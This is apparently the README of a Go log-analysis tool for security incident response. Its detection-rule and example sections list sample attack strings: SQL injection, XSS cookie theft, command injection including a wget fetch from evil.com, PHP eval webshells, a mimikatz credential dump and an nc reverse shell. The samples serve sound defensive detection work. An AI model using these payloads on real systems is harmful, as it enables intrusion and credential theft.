Skip to content

ddrsk/LogAnalyze

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

🔍 网络安全日志分析工具 v1.19

Go Version License Platform

专业的网络安全日志分析系统,支持多种威胁检测和分析。采用正则表达式预编译、熵值检测、多重解码等先进技术,帮助安全人员快速识别潜在威胁。

✨ 核心特性

🎯 七大分析模块

模块 功能描述 检测能力
🌐 Web攻击检测 检测Web应用层攻击 SQL注入、XSS、命令注入、路径遍历、Webshell
🔄 横向渗透检测 识别内网横向移动 SMB/RDP/WMI、PSExec、Mimikatz、暴力破解
命令执行分析 分析可疑命令执行 PowerShell、Bash、系统命令、下载工具
📋 进程分析 检测恶意进程 黑客工具、渗透框架、凭证窃取工具
🌍 网络连接分析 识别异常网络连接 后门端口、C&C通信、异常连接模式
📜 Bash历史分析 分析命令历史记录 敏感命令、痕迹清除、权限提升
📁 可疑文件检测 检测危险文件 Webshell、临时目录可执行文件、异常脚本

🚀 技术亮点

  • 正则表达式预编译:启动时预编译所有正则,分析速度提升 3-5 倍
  • 多重解码引擎:自动进行 URL 解码、Base64 解码、SQL 混淆还原
  • 熵值检测算法:识别加密 Webshell 和混淆代码(熵值阈值 > 5.7)
  • 智能风险分级:自动标记 🔴 高危、🟡 中危、🟢 低危威胁
  • 大文件支持:优化缓冲区,支持 1GB+ 日志文件分析
  • 友好的 GUI:基于 Fyne 框架,现代化界面设计

🎓 使用指南

基本操作

  1. 选择文件:点击「浏览文件」按钮,选择要分析的日志文件
  2. 选择类型:从下拉菜单中选择对应的分析类型
  3. 开始分析:点击「🔍 开始分析」按钮,等待分析完成
  4. 查看结果:在结果区域查看检测到的威胁详情
  5. 导出报告:点击「💾 导出结果」保存分析报告

支持的文件类型

Web 服务器日志

access.log
error.log
apache2/access.log
nginx/access.log

系统日志

/var/log/syslog
/var/log/auth.log
/var/log/secure
C:\Windows\System32\winevt\Logs\Security.evtx

命令输出

# 进程列表
tasklist > process.txt          # Windows
ps aux > process.txt             # Linux

# 网络连接
netstat -ano > network.txt       # Windows
netstat -tunlp > network.txt     # Linux

# Bash 历史
cat ~/.bash_history > history.txt

🔬 检测规则详解

SQL 注入检测

工具能够检测以下 SQL 注入特征:

-- 联合查询注入
' UNION SELECT NULL, NULL--
1' ORDER BY 1--

-- 布尔盲注
' OR '1'='1
admin'--
') OR ('1'='1

-- 时间盲注
'; WAITFOR DELAY '00:00:05'--

-- 错误注入
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version)))--

-- 堆叠查询
'; DROP TABLE users--

XSS 攻击检测

<!-- 反射型 XSS -->
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>

<!-- DOM 型 XSS -->
javascript:alert(1)
<svg onload=alert(1)>

<!-- 存储型 XSS -->
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

命令注入检测

# 管道符注入
|| whoami
| cat /etc/passwd

# 分号注入
; id
; wget http://evil.com/shell.sh

# 反引号注入
`id`
$(whoami)

# Bash 特殊字符
&& ls -la

Webshell 特征

// 一句话木马
<?php @eval($_POST['cmd']); ?>
<?php assert($_POST['x']); ?>

// Base64 编码
<?php eval(base64_decode('...')); ?>

// 混淆代码(高熵值检测)
<?php $a='sys'.'tem';$a($_GET['x']); ?>

📊 检测示例

示例 1:SQL 注入日志

原始日志:

192.168.1.100 - [2024/01/15:10:23:45] "GET /login.php?id=1' OR '1'='1-- HTTP/1.1" 200

检测结果:

【威胁 1】
类型: SQL注入攻击
风险: 🔴 高危
描述: 检测到SQL注入特征: '\s*or\s*'\d+'='\d+
内容: 192.168.1.100 - [2024/01/15:10:23:45] "GET /login.php?id=1' OR '1'='1-- HTTP/1.1" 200

示例 2:Mimikatz 凭证窃取

原始日志:

mimikatz.exe sekurlsa::logonpasswords

检测结果:

【威胁 1】
类型: Mimikatz模块
风险: 🔴 高危
描述: 检测到横向渗透特征: sekurlsa::
内容: mimikatz.exe sekurlsa::logonpasswords

示例 3:反向 Shell

Bash 历史:

nc -e /bin/bash 192.168.1.1 4444

检测结果:

【威胁 1】
类型: Shell绑定
风险: 🔴 高危
描述: 检测到可疑命令: nc -e
内容: nc -e /bin/bash 192.168.1.1 4444

🏗️ 项目结构

log_analyzer/
├── main.go                 # GUI 主程序
├── analyzer/
│   └── analyzer.go         # 核心检测引擎
├── utils/
│   └── file_reader.go      # 文件处理工具
├── go.mod                  # Go 模块配置
├── go.sum                  # 依赖校验文件
├── README.md               # 项目文档
└── icon.png                # 应用图标(可选)

🔧 高级配置

自定义检测规则

analyzer/analyzer.goinit() 函数中添加自定义规则:

func init() {
    // 添加自定义 SQL 注入规则
    customSQLPatterns := []string{
        `your_custom_pattern_here`,
    }
    sqlRegexps = append(sqlRegexps, compileRegexList(customSQLPatterns)...)
}

调整熵值阈值

修改 detectHighEntropy() 函数中的阈值:

if entropy > 5.7 {  // 默认 5.7,可根据实际情况调整
    return &Result{...}
}

性能优化

// 调整扫描器缓冲区大小
buf := make([]byte, 0, 128*1024)  // 增加到 128KB
scanner.Buffer(buf, 2*1024*1024)   // 最大 2MB

🎯 实战场景

场景 1:应急响应

Web 服务器疑似被入侵,需要快速排查:

# 1. 收集日志
cat /var/log/nginx/access.log > access.log

# 2. 使用工具分析
选择文件:access.log
分析类型:🌐 Web攻击检测

# 3. 查看结果
发现 15 个潜在威胁(3 个 SQL 注入、12 个 XSS 尝试)

场景 2:内网渗透排查

怀疑存在横向移动,分析 Windows 事件日志:

# 1. 导出安全日志
wevtutil epl Security security.evtx

# 2. 使用工具分析
选择文件:security.evtx
分析类型:🔄 横向渗透检测

# 3. 发现异常
检测到 PSExec 远程执行和多次 RDP 失败登录

场景 3:取证分析

分析入侵者留下的命令历史:

# 1. 获取历史记录
cp ~/.bash_history /tmp/history.txt

# 2. 使用工具分析
选择文件:history.txt
分析类型:📜 Bash历史分析

# 3. 重现攻击链
发现:信息收集 → 权限提升 → 后门部署 → 痕迹清除

📈 性能指标

测试项 配置 结果
小文件 (< 10MB) 1000 行日志 < 1 秒
中文件 (10-100MB) 10 万行日志 3-5 秒
大文件 (100MB-1GB) 100 万行日志 30-60 秒
内存占用 分析 500MB 日志 < 200MB

📝 更新日志

v1.19 (2025-01-15)

  • ✨ 新增熵值检测算法,识别加密 Webshell
  • ✨ 新增多重解码引擎(URL + Base64 + SQL 混淆)
  • ⚡ 正则表达式预编译,性能提升 5 倍
  • 🎨 优化 GUI 界面,添加统计信息展示
  • 🐛 修复大文件分析时的内存溢出问题
  • 📚 完善检测规则库,新增 50+ 恶意特征

v1.0 (2024-12-01)

  • 🎉 首个正式版本发布
  • ✅ 支持 7 种分析模块
  • ✅ 基于 Fyne 的跨平台 GUI
  • ✅ 支持日志文件导入导出

⚠️ 免责声明

本工具仅供合法的安全测试和教育目的使用。使用者应遵守所在地区的法律法规,不得将本工具用于任何非法活动。作者不对因滥用本工具造成的任何后果负责。

📄 许可证

本项目基于 MIT 许可证开源。详见 LICENSE 文件。

🌟 Star History

如果这个项目对你有帮助,请给个 ⭐ Star 支持一下!

Star History Chart

📮 联系方式


⚡ 让日志分析更简单,让威胁无所遁形 ⚡

Made with ❤️ by 0x2A Security Team

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Packages

 
 
 

Contributors